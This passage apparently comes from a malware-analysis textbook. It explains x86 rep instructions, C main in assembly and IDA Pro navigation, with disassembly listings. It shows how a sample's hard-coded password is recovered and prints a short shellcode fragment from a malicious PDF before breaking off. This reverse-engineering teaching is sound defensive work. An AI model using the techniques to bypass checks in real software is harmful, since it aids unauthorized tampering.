if ECX = 0 or ZF = 0, the operation will stop repeating. This is equivalent to 
the C function memcmp.

The scasb instruction is used to search for a single value in a sequence of 
bytes. The value is defined by the AL register. This works in the same way as 
cmpsb, but it compares the byte located at address ESI to AL, rather than to 
EDI. The repe operation will continue until the byte is found or ECX = 0. If 
the value is found in the sequence of bytes, ESI stores the location of that 
value.

Table 4-10: rep Instruction Termination Requirements

Instruction Description

rep Repeat until ECX = 0

repe, repz Repeat until ECX = 0 or ZF = 0

repne, repnz Repeat until ECX = 0 or ZF = 1
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The stosb instruction is used to store values in a location specified by 
EDI. This is identical to scasb, but instead of being searched for, the specified 
byte is placed in the location specified by EDI. The rep prefix is used with 
scasb to initialize a buffer of memory, wherein every byte contains the same 
value. This is equivalent to the C function memset. Table 4-11 displays some 
common rep instructions and describes their operation.

C Main Method and Offsets
Because malware is often written in C, it’s important that you know how the 
main method of a C program translates to assembly. This knowledge will also 
help you understand how offsets differ when you go from C code to assembly.

A standard C program has two arguments for the main method, typically 
in this form:

int main(int argc, char ** argv)

The parameters argc and argv are determined at runtime. The argc 
parameter is an integer that contains the number of arguments on the 
command line, including the program name. The argv parameter is a 
pointer to an array of strings that contain the command-line arguments. 
The following example shows a command-line program and the results of 
argc and argv when the program is run.

filetestprogram.exe -r filename.txt

argc = 3
argv[0] = filetestprogram.exe
argv[1] = -r
argv[2] = filename.txt

Table 4-11: rep Instruction Examples

Instruction Description

repe cmpsb Used to compare two data buffers. EDI and ESI must be set to the two buffer 
locations, and ECX must be set to the buffer length. The comparison will 
continue until ECX = 0 or the buffers are not equal.

rep stosb Used to initialize all bytes of a buffer to a certain value. EDI will contain the 
buffer location, and AL must contain the initialization value. This instruction is 
often seen used with xor eax, eax.

rep movsb Typically used to copy a buffer of bytes. ESI must be set to the source buffer 
address, EDI must be set to the destination buffer address, and ECX must 
contain the length to copy. Byte-by-byte copy will continue until ECX = 0.

repne scasb Used for searching a data buffer for a single byte. EDI must contain the 
address of the buffer, AL must contain the byte you are looking for, and ECX 
must be set to the buffer length. The comparison will continue until ECX = 0 or 
until the byte is found.
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Listing 4-1 shows the C code for a simple program.

int main(int argc, char* argv[])
{
      if (argc != 3) {return 0;}

      if (strncmp(argv[1], "-r", 2) == 0){

            DeleteFileA(argv[2]);

      }
      return 0;
}

Listing 4-1: C code, main method example

Listing 4-2 shows the C code from Listing 4-1 in compiled form. This 
example will help you understand how the parameters listed in Table 4-12 
are accessed in assembly code. argc is compared to 3 at , and argv[1] is com-
pared to -r at  through the use of a strncmp. Notice how argv[1] is accessed: 
First the location of the beginning of the array is loaded into eax, and then 4 
(the offset) is added to eax to get argv[1]. The number 4 is used because each 
entry in the argv array is an address to a string, and each address is 4 bytes in 
size on a 32-bit system. If -r is provided on the command line, the code start-
ing at  will be executed, which is when we see argv[2] accessed at offset 8 
relative to argv and provided as an argument to the DeleteFileA function.

004113CE                 cmp     [ebp+argc], 3 
004113D2                 jz      short loc_4113D8
004113D4                 xor     eax, eax
004113D6                 jmp     short loc_411414
004113D8                 mov     esi, esp
004113DA                 push    2               ; MaxCount
004113DC                 push    offset Str2     ; "-r"
004113E1                 mov     eax, [ebp+argv]
004113E4                 mov     ecx, [eax+4]
004113E7                 push    ecx             ; Str1
004113E8                 call    strncmp 
004113F8                 test    eax, eax
004113FA                 jnz     short loc_411412
004113FC                 mov     esi, esp 
004113FE                 mov     eax, [ebp+argv]
00411401                 mov     ecx, [eax+8]
00411404                 push    ecx             ; lpFileName
00411405                 call    DeleteFileA

Listing 4-2: Assembly code, C main method parameters
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More Information: Intel x86 Architecture Manuals
What if you encounter an instruction you have never seen before? If you 
can’t find your answer with a Google search, you can download the complete 
x86 architecture manuals from Intel at http://www.intel.com/products/processor/
manuals/index.htm. This set includes the following:

Volume 1: Basic Architecture
This manual describes the architecture and programming environment. 
It is useful for helping you understand how memory works, including 
registers, memory layout, addressing, and the stack. This manual also 
contains details about general instruction groups.

Volume 2A: Instruction Set Reference, A–M, and Volume 2B: Instruction Set Refer-
ence, N–Z

These are the most useful manuals for the malware analyst. They alpha-
betize the entire instruction set and discuss every aspect of each instruc-
tion, including the format of the instruction, opcode information, and 
how the instruction impacts the system.

Volume 3A: System Programming Guide, Part 1, and Volume 3B: System Program-
ming Guide, Part 2

In addition to general-purpose registers, x86 has many special-purpose 
registers and instructions that impact execution and support the OS, 
including debugging, memory management, protection, task manage-
ment, interrupt and exception handling, multiprocessor support, and 
more. If you encounter special-purpose registers, refer to the System 
Programming Guide to see how they impact execution.

Optimization Reference Manual
This manual describes code-optimization techniques for applications. 
It offers additional insight into the code generated by compilers and 
has many good examples of how instructions can be used in unconven-
tional ways.

Conclusion

A working knowledge of assembly and the disassembly process is key to 
becoming a successful malware analyst. This chapter has laid the foundation 
for important x86 concepts that you will encounter when disassembling mal-
ware. Use it as a reference if you encounter unfamiliar instructions or regis-
ters while performing analysis throughout the book.

Chapter 6 builds on this chapter to give you a well-rounded assembly 
foundation. But the only real way to get good at disassembly is to practice. In 
the next chapter, we’ll take a look at IDA Pro, a tool that will greatly aid your 
analysis of disassembly.
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I D A  P R O

The Interactive Disassembler Professional (IDA Pro) is 
an extremely powerful disassembler distributed by Hex-
Rays. Although IDA Pro is not the only disassembler, 
it is the disassembler of choice for many malware ana-
lysts, reverse engineers, and vulnerability analysts.

Two versions of IDA Pro are commercially available. While both versions 
support x86, the advanced version supports many more processors than the 
standard version, most notably x64. IDA Pro also supports several file formats, 
such as Portable Executable (PE), Common Object File Format (COFF), 
Executable and Linking Format (ELF), and a.out. We’ll focus our discussion 
on the x86 and x64 architectures and the PE file format.

Throughout this book, we cover the commercial version of IDA Pro. You 
can download a free version of IDA Pro, IDA Pro Free, from http://www.hex-rays
.com/idapro/idadownfreeware.htm, but this version has limited functionality 
and, as of this writing, is “stuck” on version 5.0. Do not use IDA Pro Free for 
serious disassembly, but do consider trying it if you would like to play with IDA.

IDA Pro will disassemble an entire program and perform tasks such as 
function discovery, stack analysis, local variable identification, and much 



more. In this chapter, we will discuss how these tasks bring you closer to 
the source code. IDA Pro includes extensive code signatures within its Fast 
Library Identification and Recognition Technology (FLIRT), which allows it 
to recognize and label a disassembled function, especially library code added 
by a compiler.

IDA Pro is meant to be interactive, and all aspects of its disassembly pro-
cess can be modified, manipulated, rearranged, or redefined. One of the 
best aspects of IDA Pro is its ability to save your analysis progress: You can 
add comments, label data, and name functions, and then save your work in 
an IDA Pro database (known as an idb) to return to later. IDA Pro also has 
robust support for plug-ins, so you can write your own extensions or leverage 
the work of others.

This chapter will give you a solid introduction to using IDA Pro for mal-
ware analysis. To dig deeper into IDA Pro, Chris Eagle’s The IDA Pro Book: The 
Unofficial Guide to the World’s Most Popular Disassembler, 2nd Edition (No Starch 
Press, 2011) is considered the best available resource. It makes a great desk-
top reference for both IDA Pro and reversing in general.

Loading an Executable

Figure 5-1 displays the first step in loading an executable into IDA Pro. When 
you load an executable, IDA Pro will try to recognize the file’s format and 
processor architecture. In this example, the file is recognized as having the 
PE format  with Intel x86 architecture . Unless you are performing mal-
ware analysis on cell phone malware, you probably won’t need to modify the 
processor type too often. (Cell phone malware is often created on various 
platforms.)

When loading a file into IDA Pro (such as a PE file), the program maps 
the file into memory as if it had been loaded by the operating system loader. 
To have IDA Pro disassemble the file as a raw binary, choose the Binary File 
option in the top box, as shown at . This option can prove useful because 
malware sometimes appends shellcode, additional data, encryption parame-
ters, and even additional executables to legitimate PE files, and this extra data 
won’t be loaded into memory when the malware is run by Windows or loaded 
into IDA Pro. In addition, when you are loading a raw binary file containing 
shellcode, you should choose to load the file as a binary file and disassemble it.

PE files are compiled to load at a preferred base address in memory, and if 
the Windows loader can’t load it at its preferred address (because the address 
is already taken), the loader will perform an operation known as rebasing. This 
most often happens with DLLs, since they are often loaded at locations that 
differ from their preferred address. We cover rebasing in depth in Chapter 9. 
For now, you should know that if you encounter a DLL loaded into a process 
different from what you see in IDA Pro, it could be the result of the file being 
rebased. When this occurs, check the Manual Load checkbox shown at  in 
Figure 5-1, and you’ll see an input box where you can specify the new virtual 
base address in which to load the file.
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Figure 5-1: Loading a file in IDA Pro

By default, IDA Pro does not include the PE header or the resource sec-
tions in its disassembly (places where malware often hides malicious code). If 
you specify a manual load, IDA Pro will ask if you want to load each section, 
one by one, including the PE file header, so that these sections won’t escape 
analysis.

The IDA Pro Interface

After you load a program into IDA Pro, you will see the disassembly window, 
as shown in Figure 5-2. This will be your primary space for manipulating and 
analyzing binaries, and it’s where the assembly code resides.

Disassembly Window Modes
You can display the disassembly window in one of two modes: graph (the 
default, shown in Figure 5-2) and text. To switch between modes, press the 
spacebar.

Graph Mode

In graph mode, IDA Pro excludes certain information that we recommend 
you display, such as line numbers and operation codes. To change these 
options, select OptionsGeneral, and then select Line prefixes and set the 
Number of Opcode Bytes to 6. Because most instructions contain 6 or fewer 
bytes, this setting will allow you to see the memory locations and opcode val-
ues for each instruction in the code listing. (If these settings make everything 
scroll off the screen to the right, try setting the Instruction Indentation to 8.)

�

�

�
�
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Figure 5-2: Graph mode of the IDA Pro disassembly window

In graph mode, the color and direction of the arrows help show the pro-
gram’s flow during analysis. The arrow’s color tells you whether the path is 
based on a particular decision having been made: red if a conditional jump is 
not taken, green if the jump is taken, and blue for an unconditional jump. 
The arrow direction shows the program’s flow; upward arrows typically denote 
a loop situation. Highlighting text in graph mode highlights every instance 
of that text in the disassembly window.

Text Mode

The text mode of the disassembly window is a more traditional view, and you 
must use it to view data regions of a binary. Figure 5-3 displays the text mode 
view of a disassembled function. It displays the memory address (0040105B) 
and section name (.text) in which the opcodes (83EC18) will reside in 
memory .

The left portion of the text-mode display is known as the arrows win-
dow and shows the program’s nonlinear flow. Solid lines mark uncondi-
tional jumps, and dashed lines mark conditional jumps. Arrows facing up 
indicate a loop. The example includes the stack layout for the function at  
and a comment (beginning with a semicolon) that was automatically added 
by IDA Pro .

NOTE If you are still learning assembly code, you should find the auto comments feature of 
IDA Pro useful. To turn on this feature, select OptionsGeneral, and then check the 
Auto comments checkbox. This adds additional comments throughout the disassembly 
window to aid your analysis.
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Figure 5-3: Text mode of IDA Pro’s disassembly window

Useful Windows for Analysis
Several other IDA Pro windows highlight particular items in an executable. 
The following are the most significant for our purposes.

Functions window Lists all functions in the executable and shows the 
length of each. You can sort by function length and filter for large, com-
plicated functions that are likely to be interesting, while excluding tiny 
functions in the process. This window also associates flags with each func-
tion (F, L, S, and so on), the most useful of which, L, indicates library 
functions. The L flag can save you time during analysis, because you can 
identify and skip these compiler-generated functions.

Names window Lists every address with a name, including functions, 
named code, named data, and strings.

Strings window Shows all strings. By default, this list shows only ASCII 
strings longer than five characters. You can change this by right-clicking 
in the Strings window and selecting Setup.

Imports window Lists all imports for a file.

Exports window Lists all the exported functions for a file. This window 
is useful when you’re analyzing DLLs.

�

�

�
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Structures window Lists the layout of all active data structures. The win-
dow also provides you the ability to create your own data structures for 
use as memory layout templates.

These windows also offer a cross-reference feature that is particularly 
useful in locating interesting code. For example, to find all code locations 
that call an imported function, you could use the import window, double-
click the imported function of interest, and then use the cross-reference 
feature to locate the import call in the code listing.

Returning to the Default View
The IDA Pro interface is so rich that, after pressing a few keys or clicking 
something, you may find it impossible to navigate. To return to the default 
view, choose WindowsReset Desktop. Choosing this option won’t undo 
any labeling or disassembly you’ve done; it will simply restore any windows 
and GUI elements to their defaults.

By the same token, if you’ve modified the window and you like what you 
see, you can save the new view by selecting WindowsSave desktop.

Navigating IDA Pro
As we just noted, IDA Pro can be tricky to navigate. Many windows are linked 
to the disassembly window. For example, double-clicking an entry within the 
Imports window or Strings window will take you directly to that entry.

Using Links and Cross-References

Another way to navigate IDA Pro is to use the links within the disassembly 
window, such as the links shown in Listing 5-1. Double-clicking any of these 
links  will display the target location in the disassembly window.

00401075        jnz     short loc_40107E
00401077        mov     [ebp+var_10], 1
0040107E loc_40107E:                  ; CODE XREF: sub_401040+35j
0040107E        cmp     [ebp+var_C], 0
00401082        jnz     short loc_401097
00401084        mov     eax, [ebp+var_4]
00401087        mov     [esp+18h+var_14], eax
0040108B        mov     [esp+18h+var_18], offset aPrintNumberD ; "Print Number= %d\n"
00401092        call  printf
00401097        call  sub_4010A0

Listing 5-1: Navigational links within the disassembly window
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The following are the most common types of links:

 Sub links are links to the start of functions such as printf and sub_4010A0.

 Loc links are links to jump destinations such as loc_40107E and loc_401097.

 Offset links are links to an offset in memory.

Cross-references (shown at  in the listing) are useful for jumping 
the display to the referencing location: 0x401075 in this example. Because 
strings are typically references, they are also navigational links. For example, 
aPrintNumberD can be used to jump the display to where that string is defined 
in memory.

Exploring Your History

Navigation Band

The horizontal color band at the base of the toolbar is the navigation band, 
which presents a color-coded linear view of the loaded binary’s address 
space. The colors offer insight into the file contents at that location in the 
file as follows:

 Light blue is library code as recognized by FLIRT.

 Red is compiler-generated code.

 Dark blue is user-written code.

You should perform malware analysis in the dark-blue region. If you start 
getting lost in messy code, the navigational band can help you get back on 
track. IDA Pro’s default colors for data are pink for imports, gray for defined 
data, and brown for undefined data.

NOTE If you have an older version of IDA Pro, your FLIRT signatures may not be up to date 
and you can end up with a lot of library code in the dark-blue region. FLIRT isn’t per-
fect, and sometimes it won’t recognize and label all library code properly.

Jump to Location

To jump to any virtual memory address, simply press the G key on your key-
board while in the disassembly window. A dialog box appears, asking for a 
virtual memory address or named location, such as sub_401730 or printf.

IDA Pro’s forward and back buttons, shown in 
Figure 5-4, make it easy to move through your 
history, just as you would move through a his-
tory of web pages in a browser. Each time you 
navigate to a new location within the dis-
assembly window, that location is added to 
your history.

Figure 5-4: Navigational 
buttons
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To jump to a raw file offset, choose JumpJump to File Offset. For 
example, if you’re viewing a PE file in a hex editor and you see something 
interesting, such as a string or shellcode, you can use this feature to get to 
that raw offset, because when the file is loaded into IDA Pro, it will be mapped 
as though it had been loaded by the OS loader.

Searching
Selecting Search from the top menu will display many options for moving 
the cursor in the disassembly window:

 Choose SearchNext Code to move the cursor to the next location con-
taining an instruction you specify.

 Choose SearchText to search the entire disassembly window for a spe-
cific string.

 Choose SearchSequence of Bytes to perform a binary search in the 
hex view window for a certain byte order. This option can be useful when 
you’re searching for specific data or opcode combinations.

The following example displays the command-line analysis of the 
password.exe binary. This malware requires a password to continue running, 
and you can see that it prints the string Bad key after we enter an invalid 
password (test).

C:\>password.exe
Enter password for this Malware: test
Bad key

We then pull this binary into IDA Pro and see how we can use the search 
feature and links to unlock the program. We begin by searching for all occur-
rences of the Bad key string, as shown in Figure 5-5. We notice that Bad key is 
used at 0x401104 , so we jump to that location in the disassembly window 
by double-clicking the entry in the search window.

Figure 5-5: Searching example

The disassembly listing around the location of 0x401104 is shown 
next. Looking through the listing, before "Bad key\n", we see a comparison 
at 0x4010F1, which tests the result of a strcmp. One of the parameters to the 
strcmp is the string, and likely password, $mab.

�
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004010E0        push    offset aMab     ; "$mab"
004010E5        lea     ecx, [ebp+var_1C]
004010E8        push    ecx
004010E9        call    strcmp
004010EE        add     esp, 8
004010F1        test    eax, eax
004010F3        jnz     short loc_401104
004010F5        push    offset aKeyAccepted ; "Key Accepted!\n"
004010FA        call    printf
004010FF        add     esp, 4
00401102        jmp     short loc_401118
00401104 loc_401104                    ; CODE XREF: _main+53j
00401104        push    offset aBadKey  ; "Bad key\n"
00401109        call    printf

The next example shows the result of entering the password we discov-
ered, $mab, and the program prints a different result.

C:\>password.exe
Enter password for this Malware: $mab
Key Accepted!
The malware has been unlocked

This example demonstrates how quickly you can use the search feature 
and links to get information about a binary.

Using Cross-References

A cross-reference, known as an xref in IDA Pro, can tell you where a function 
is called or where a string is used. If you identify a useful function and want 
to know the parameters with which it is called, you can use a cross-reference to 
navigate quickly to the location where the parameters are placed on the stack. 
Interesting graphs can also be generated based on cross-references, which 
are helpful to performing analysis.

Code Cross-References
Listing 5-2 shows a code cross-reference at  that tells us that this function 
(sub_401000) is called from inside the main function at offset 0x3 into the 
main function. The code cross-reference for the jump at  tells us which 
jump takes us to this location, which in this example corresponds to the 
location marked at . We know this because at offset 0x19 into sub_401000 is 
the jmp at memory address 0x401019.

00401000        sub_401000      proc near      ; CODE XREF: _main+3p
00401000        push    ebp
00401001        mov     ebp, esp
00401003   loc_401003: ; CODE XREF: sub_401000+19j
00401003        mov     eax, 1
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00401008        test    eax, eax
0040100A        jz      short loc_40101B
0040100C        push    offset aLoop    ; "Loop\n"
00401011        call    printf
00401016        add     esp, 4
00401019        jmp     short loc_401003 

Listing 5-2: Code cross-references

By default, IDA Pro shows only a couple of cross-references for any given 
function, even though many may occur when a function is called. To view all 
the cross-references for a function, click the function name and press X on 
your keyboard. The window that pops up should list all locations where this 
function is called. At the bottom of the Xrefs window in Figure 5-6, which 
shows a list of cross-references for sub_408980, you can see that this function 
is called 64 times (“Line 1 of 64”).

Figure 5-6: Xrefs window

Double-click any entry in the Xrefs window to go to the corresponding 
reference in the disassembly window.

Data Cross-References
Data cross-references are used to track the way data is accessed within a 
binary. Data references can be associated with any byte of data that is refer-
enced in code via a memory reference, as shown in Listing 5-3. For example, 
you can see the data cross-reference to the DWORD 0x7F000001 at . The cor-
responding cross-reference tells us that this data is used in the function 
located at 0x401020. The following line shows a data cross-reference for the 
string <Hostname> <Port>.

0040C000 dword_40C000    dd 7F000001h        ; DATA XREF: sub_401020+14r
0040C004 aHostnamePort   db '<Hostname> <Port>',0Ah,0  ; DATA XREF: sub_401000+3o

Listing 5-3: Data cross-references
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Recall from Chapter 1 that the static analysis of strings can often be used 
as a starting point for your analysis. If you see an interesting string, use IDA 
Pro’s cross-reference feature to see exactly where and how that string is used 
within the code.

Analyzing Functions

One of the most powerful aspects of IDA Pro is its ability to recognize 
functions, label them, and break down the local variables and parameters. 
Listing 5-4 shows an example of a function that has been recognized by 
IDA Pro.

00401020 ; =============== S U B R O U T I N E=============================
00401020
00401020 ; Attributes: ebp-based frame 
00401020
00401020 function        proc near               ;  CODE XREF: _main+1Cp
00401020
00401020 var_C           = dword ptr -0Ch 
00401020 var_8           = dword ptr -8
00401020 var_4           = dword ptr -4
00401020 arg_0           = dword ptr  8
00401020 arg_4           = dword ptr  0Ch
00401020
00401020                 push    ebp
00401021                 mov     ebp, esp
00401023                 sub     esp, 0Ch
00401026                 mov     [ebp+var_8], 5
0040102D                 mov     [ebp+var_C], 3 
00401034                 mov     eax, [ebp+var_8]
00401037                 add     eax, 22h
0040103A                 mov     [ebp+arg_0], eax
0040103D                 cmp     [ebp+arg_0], 64h
00401041                 jnz     short loc_40104B
00401043                 mov     ecx, [ebp+arg_4]
00401046                 mov     [ebp+var_4], ecx
00401049                 jmp     short loc_401050
0040104B loc_40104B:                             ;  CODE XREF: function+21j
0040104B                 call    sub_401000
00401050 loc_401050:                             ;   CODE XREF: function+29j
00401050                 mov     eax, [ebp+arg_4]
00401053                 mov     esp, ebp
00401055                 pop     ebp
00401056                 retn
00401056 function        endp

Listing 5-4: Function and stack example

Notice how IDA Pro tells us that this is an EBP-based stack frame used in 
the function , which means the local variables and parameters will be refer-
enced via the EBP register throughout the function. IDA Pro has successfully 
discovered all local variables and parameters in this function. It has labeled 
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the local variables with the prefix var_ and parameters with the prefix arg_, 
and named the local variables and parameters with a suffix corresponding to 
their offset relative to EBP. IDA Pro will label only the local variables and 
parameters that are used in the code, and there is no way for you to know 
automatically if it has found everything from the original source code.

Recall from our discussion in Chapter 4 that local variables will be at 
a negative offset relative to EBP and arguments will be at a positive offset. 
You can see at  that IDA Pro has supplied the start of the summary of the 
stack view. The first line of this summary tells us that var_C corresponds to 
the value -0xCh. This is IDA Pro’s way of telling us that it has substituted 
var_C for -0xC at ; it has abstracted an instruction. For example, instead 
of needing to read the instruction as mov [ebp-0Ch], 3, we can simply read it 
as “var_C is now set to 3” and continue with our analysis. This abstraction 
makes reading the disassembly more efficient.

Sometimes IDA Pro will fail to identify a function. If this happens, you can 
create a function by pressing P. It may also fail to identify EBP-based stack 
frames, and the instructions mov [ebp-0Ch], eax and push dword ptr [ebp-010h] 
might appear instead of the convenient labeling. In most cases, you can fix 
this by pressing ALT-P, selecting BP Based Frame, and specifying 4 bytes for 
Saved Registers.

Using Graphing Options

When you click one of these buttons on the toolbar, you will be presented 
with a graph via an application called WinGraph32. Unlike the graph view 
of the disassembly window, these graphs cannot be manipulated with IDA. 
(They are often referred to as legacy graphs.) The options on the graphing 
button toolbar are described in Table 5-1.

IDA Pro supports five graphing options, accessi-
ble from the buttons on the toolbar shown in 
Figure 5-7. Four of these graphing options utilize 
cross-references.

Figure 5-7: Graphing 
button toolbar

Table 5-1: Graphing Options

Button Function Description

Creates a flow chart 
of the current function

Users will prefer to use the interactive graph mode of the 
disassembly window but may use this button at times to see 
an alternate graph view. (We’ll use this option to graph code 
in Chapter 6.)

Graphs function calls 
for the entire program

Use this to gain a quick understanding of the hierarchy of 
function calls made within a program, as shown in Figure 5-8. 
To dig deeper, use WinGraph32’s zoom feature. You will 
find that graphs of large statically linked executables can 
become so cluttered that the graph is unusable.

Graphs the cross-
references to get to a 
currently selected 
cross-reference

This is useful for seeing how to reach a certain identifier. It’s 
also useful for functions, because it can help you see the 
different paths that a program can take to reach a particular 
function.
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Figure 5-8: Cross-reference graph of a program

Figure 5-9: Cross-reference graph of a single function (sub_4011F0)

Graphs the cross-
references from the 
currently selected 
symbol

This is a useful way to see a series of function calls. For 
example, Figure 5-9 displays this type of graph for a single 
function. Notice how sub_4011f0 calls sub_401110, which then 
calls gethostbyname. This view can quickly tell you what a 
function does and what the functions do underneath it. This is 
the easiest way to get a quick overview of the function.

Graphs a user-
specified cross-
reference graph

Use this option to build a custom graph. You can specify the 
graph’s recursive depth, the symbols used, the to or from 
symbol, and the types of nodes to exclude from the graph. 
This is the only way to modify graphs generated by IDA Pro 
for display in WinGraph32.

Table 5-1: Graphing Options (continued)

Button Function Description
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Enhancing Disassembly

One of IDA Pro’s best features is that it allows you to modify its disassembly 
to suit your goals. The changes that you make can greatly increase the speed 
with which you can analyze a binary.

WARNING IDA Pro has no undo feature, so be careful when you make changes.

Renaming Locations
IDA Pro does a good job of automatically naming virtual address and stack 
variables, but you can also modify these names to make them more meaning-
ful. Auto-generated names (also known as dummy names) such as sub_401000 
don’t tell you much; a function named ReverseBackdoorThread would be a lot 
more useful. You should rename these dummy names to something more 
meaningful. This will also help ensure that you reverse-engineer a function 
only once. When renaming dummy names, you need to do so in only one 
place. IDA Pro will propagate the new name wherever that item is referenced.

After you’ve renamed a dummy name to something more meaningful, 
cross-references will become much easier to parse. For example, if a function 
sub_401200 is called many times throughout a program and you rename it to 
DNSrequest, it will be renamed DNSrequest throughout the program. Imagine 
how much time this will save you during analysis, when you can read the 
meaningful name instead of needing to reverse the function again or to 
remember what sub_401200 does.

Table 5-2 shows an example of how we might rename local variables and 
arguments. The left column contains an assembly listing with no arguments 
renamed, and the right column shows the listing with the arguments renamed. 
We can actually glean some information from the column on the right. Here, 
we have renamed arg_4 to port_str and var_598 to port. You can see that these 
renamed elements are much more meaningful than their dummy names.

Comments
IDA Pro lets you embed comments throughout your disassembly and adds 
many comments automatically.

To add your own comments, place the cursor on a line of disassembly 
and press the colon (:) key on your keyboard to bring up a comment win-
dow. To insert a repeatable comment to be echoed across the disassembly 
window whenever there is a cross-reference to the address in which you 
added the comment, press the semicolon (;) key.

Formatting Operands
When disassembling, IDA Pro makes decisions regarding how to format 
operands for each instruction that it disassembles. Unless there is context, 
the data displayed is typically formatted as hex values. IDA Pro allows you to 
change this data if needed to make it more understandable.
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Figure 5-10 shows an example of modifying operands in an instruction, 
where 62h is compared to the local variable var_4. If you were to right-click 
62h, you would be presented with options to change the 62h into 98 in deci-
mal, 142o in octal, 1100010b in binary, or the character b in ASCII—whatever 
suits your needs and your situation.

Figure 5-10: Function operand manipulation

To change whether an operand references memory or stays as data, press 
the O key on your keyboard. For example, suppose when you’re analyzing 
disassembly with a link to loc_410000, you trace the link back and see the fol-
lowing instructions:

mov eax, loc_410000
add ebx, eax
mul ebx

At the assembly level, everything is a number, but IDA Pro has mislabeled 
the number 4259840 (0x410000 in hex) as a reference to the address 410000. 
To correct this mistake, press the O key to change this address to the number 
410000h and remove the offending cross-reference from the disassembly 
window.

Table 5-2: Function Operand Manipulation

Without renamed arguments With renamed arguments

004013C8  mov   eax, [ebp+arg_4]
004013CB  push  eax             
004013CC  call  _atoi
004013D1  add   esp, 4
004013D4  mov [ebp+var_598], ax
004013DB  movzx ecx, [ebp+var_598]
004013E2  test  ecx, ecx
004013E4  jnz   short loc_4013F8
004013E6  push  offset aError
004013EB  call  printf
004013F0  add   esp, 4
004013F3  jmp   loc_4016FB
004013F8 ; ----------------------
004013F8
004013F8 loc_4013F8:   
004013F8  movzx edx, [ebp+var_598]
004013FF  push  edx            
00401400  call  ds:htons

004013C8  mov   eax, [ebp+port_str]
004013CB  push  eax 
004013CC  call  _atoi
004013D1  add   esp, 4
004013D4  mov   [ebp+port], ax
004013DB  movzx ecx, [ebp+port]
004013E2  test  ecx, ecx
004013E4  jnz   short loc_4013F8
004013E6  push  offset aError 
004013EB  call  printf
004013F0  add   esp, 4
004013F3  jmp   loc_4016FB
004013F8 ; --------------------
004013F8
004013F8 loc_4013F8:
004013F8  movzx edx, [ebp+port]
004013FF  push  edx 
00401400  call  ds:htons
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Using Named Constants
Malware authors (and programmers in general) often use named constants 
such as GENERIC_READ in their source code. Named constants provide an easily 
remembered name for the programmer, but they are implemented as an 
integer in the binary. Unfortunately, once the compiler is done with the 
source code, it is no longer possible to determine whether the source used 
a symbolic constant or a literal.

Fortunately, IDA Pro provides a large catalog of named constants for the 
Windows API and the C standard library, and you can use the Use Standard 
Symbolic Constant option (shown in Figure 5-10) on an operand in your dis-
assembly. Figure 5-11 shows the window that appears when you select Use 
Standard Symbolic Constant on the value 0x800000000.

Figure 5-11: Standard symbolic constant window

The code snippets in Table 5-3 show the effect of applying the standard 
symbolic constants for a Windows API call to CreateFileA. Note how much 
more meaningful the code is on the right.

NOTE To determine which value to choose from the often extensive list provided in the stan-
dard symbolic constant window, you will need to go to the MSDN page for the Windows 
API call. There you will see the symbolic constants that are associated with each param-
eter. We will discuss this further in Chapter 7, when we discuss Windows concepts.

Sometimes a particular standard symbolic constant that you want will 
not appear, and you will need to load the relevant type library manually. To 
do so, select ViewOpen SubviewsType Libraries to view the currently 
loaded libraries. Normally, mssdk and vc6win will automatically be loaded, but 
if not, you can load them manually (as is often necessary with malware that 
uses the Native API, the Windows NT family API). To get the symbolic con-
stants for the Native API, load ntapi (the Microsoft Windows NT 4.0 Native 
API). In the same vein, when analyzing a Linux binary, you may need to man-
ually load the gnuunx (GNU C++ UNIX) libraries.
102 Chapter 5



Redefining Code and Data
When IDA Pro performs its initial disassembly of a program, bytes are occa-
sionally categorized incorrectly; code may be defined as data, data defined as 
code, and so on. The most common way to redefine code in the disassembly 
window is to press the U key to undefine functions, code, or data. When you 
undefine code, the underlying bytes will be reformatted as a list of raw bytes.

To define the raw bytes as code, press C. For example, Table 5-4 shows a 
malicious PDF document named paycuts.pdf. At offset 0x8387 into the file, we 
discover shellcode (defined as raw bytes) at , so we press C at that location. 
This disassembles the shellcode and allows us to discover that it contains an 
XOR decoding loop with 0x97 at .

Depending on your goals, you can similarly define raw bytes as data or 
ASCII strings by pressing D or A, respectively.

Extending IDA with Plug-ins

Table 5-3: Code Before and After Standard Symbolic Constants

Before symbolic constants After symbolic constants

mov     esi, [esp+1Ch+argv]
mov     edx, [esi+4]
mov     edi, ds:CreateFileA
push    0    ; hTemplateFile
push    80h  ; dwFlagsAndAttributes
push    3    ; dwCreationDisposition
push    0    ; lpSecurityAttributes
push    1    ; dwShareMode
push    80000000h ; dwDesiredAccess
push    edx ;  lpFileName
call    edi ; CreateFileA

mov     esi, [esp+1Ch+argv]
mov     edx, [esi+4]
mov     edi, ds:CreateFileA
push    NULL  ; hTemplateFile
push    FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
push    OPEN_EXISTING   ; dwCreationDisposition
push    NULL              ; lpSecurityAttributes
push    FILE_SHARE_READ ; dwShareMode
push    GENERIC_READ     ; dwDesiredAccess
push    edx ; lpFileName
call    edi ; CreateFileA

You can extend the functionality of IDA Pro in sev-
eral ways, typically via its scripting facilities. Poten-
tial uses for scripts are infinite and can range from 
simple code markup to complicated functionality 
such as performing difference comparisons 
between IDA Pro database files.

Here, we’ll give you a taste of the two most 
popular ways of scripting using IDC and Python 
scripts. IDC and Python scripts can be run easily as 
files by choosing FileScript File or as individual 
commands by selecting FileIDC Command or 
FilePython Command, as shown in Figure 5-12. 
The output window at the bottom of the work-
space contains a log view that is extensively used by 
plug-ins for debugging and status messages.

Figure 5-12: Options for 
loading IDC and Python 
Scripts
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Using IDC Scripts
IDA Pro has had a built-in scripting language known as IDC that predates 
the widespread popularity of scripting languages such as Python and Ruby. 
The IDC subdirectory within the IDA installation directory contains several 
sample IDC scripts that IDA Pro uses to analyze disassembled texts. Refer to 
these programs if you want to learn IDC.

IDC scripts are programs made up of functions, with all functions 
declared as static. Arguments don’t need the type specified, and auto is 
used to define local variables. IDC has many built-in functions, as described 
in the IDA Pro help index or the idc.idc file typically included with scripts 
that use the built-in functions.

In Chapter 1, we discussed the PEiD tool and its plug-in Krypto ANALyzer 
(KANAL), which can export an IDC script. The IDC script sets bookmarks and 
comments in the IDA Pro database for a given binary, as shown in Listing 5-5.

Table 5-4: Manually Disassembling Shellcode in the paycuts.pdf Document

File before pressing C File after pressing C

00008384  db  28h ; (
00008385  db 0FCh ; n
00008386  db  10h
00008387  db  90h ; É 
00008388  db  90h ; É
00008389  db  8Bh ; ï
0000838A  db 0D8h ; +
0000838B  db  83h ; â
0000838C  db 0C3h ; +
0000838D  db  28h ; (
0000838E  db  83h ; â
0000838F  db    3
